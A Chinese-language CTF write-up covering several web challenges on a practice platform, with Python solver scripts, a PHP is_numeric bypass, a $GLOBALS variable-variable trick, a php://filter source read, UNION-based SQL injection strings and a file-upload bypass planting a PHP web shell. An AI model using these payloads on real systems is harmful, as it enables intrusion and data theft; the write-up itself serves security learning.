秋名山老司机
这道题,刷新页面会发现算式是在变的,
所以我就想到写一个脚本,来跑这个算式,然后post一个结果上去,脚本代码1
2
3
4
5
6
7
8
9
10
11
12import requests
import re
url='http://123.206.87.240:8002/qiumingshan/'
s=requests.Session()
source = s.get(url)
source.encoding=source.apparent_encoding
print source.text
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression)
post={'value':result}
print "-------------------------"
print{s.post(url,data=post).text}
我最初的代码没有用到Session()的知识点,因为不懂,后来看了一些文章,略懂一二,附上文章:
https://www.cnblogs.com/lonelydreamer/p/6169469.html
https://blog.csdn.net/jyh_jack/article/details/82457953
https://www.jb51.net/article/127159.htm
附上使用了Session对象后的代码。
然后跑出的结果是这样的
速度要快
和秋名山这题很想,查看源码它说要post一个margin上去,一脸懵逼,然后用burp的repeater走一下,发现在header中有flag
base64编码过的,以为是flag,吃亏了,后来想了一下,题目要我们post一个margin,所以我又试着将flag解码一下,果然出数字了。
然后就开始写脚本了。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24# coding=UTF-8
import requests
import base64
url = 'http://123.206.87.240:8002/web6/'
target=requests.Session()
header=target.get(url).headers
flag=header['flag']
print flag
#对flag解码
txt=base64.b64decode(flag)
print txt
#截取flag,值得学习的一行代码
txt = txt[txt.index(":")+2:]
print txt
#题目要求我们要post一个margin值(int型的值),那么我们获取的flag值实际上还是base64的密文,所以再解码一次
txt=base64.b64decode(txt)
print txt
post={'margin':txt}
print "-------------------------"
print{target.post(url,data=post).text}
矛盾
先看源代码1
2
3
4
5
6
7$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
这就很奇怪的就是,要在num不等于1的情况下,输出num=1,才可以获取flag
所以这时候就能想到科学计数法
?num=1e0.1
xey:x倍的10的y次方
变量1
这里的flag1.php文件中存有flag,然后在变量args中进行正则表达式的匹配,变量args是否是字符串,
最后的一段代码
eval("var_dump($$args);");
这里了解到php中变量可以作为另一个变量的变量名;1
2
3
4
5<?php
$a='b';
$b="Boogle";
eval("var_dump($$a);");//输出 Boogle
?>
这里$$a可以看成$($a),也就是$b.
同样的$args可以为某个变量名,这里想到:$GLOBALS:一个包含了全部变量的全局组合数组。
所以构造payload为:?args=GLOBALS
爆出所有的变量,就能获得flag
flag在index里
这道题我是真的不会,然后看了一些博主的文章,附上博主的文章:
https://blog.csdn.net/wy_97/article/details/77431111
https://blog.csdn.net/wy_97/article/details/77432002
查看源码,然后发现无从下手,看了大佬的文章知道了,可以使用php://filter
php://filter之前最常出镜的地方是XXE。由于XXE漏洞的特殊性,我们在读取HTML、PHP等文件时可能会抛出此类错误parser error : StartTag: invalid element name 。其原因是,PHP是基于标签的脚本语言,<?php … ?>这个语法也与XML相符合,所以在解析XML的时候会被误认为是XML,而其中内容(比如特殊字符)又有可能和标准XML冲突,所以导致了出错。
所以传参:php://filter/read=convert.base64-encode/resource=index.php
这样子我们在burp的repeater中获取到被base64加密的字段,解码一下,就能获取flag
这道题考察的是文件包含漏洞
成绩表
这道题是典型的sql注入的题
在burp中抓包后,在repeater模块中,
有id这一项,然后想到可能是sql注入,然后先到数据有四个表放着姓名,还有三科成绩,然后尝试
?id=-1’ order by 4–+ 失败,然后尝试
?id=-1’ union select 1,2,3,database() –+结果成功了,
然后就顺风顺水
文件包含2
写这道题的意义在于,我觉得这道题值得思考
这道题考察文件包含漏洞,文件上传漏洞,考察burp的使用
然后绕过
上传一句话木马1
<script language=php>system("ls")</script>
修改文件名为:1.php:.jpg
文件类型为:image/jpeg
绕过成功后,访问我们上传的文件,读目录,然后读flag的文件。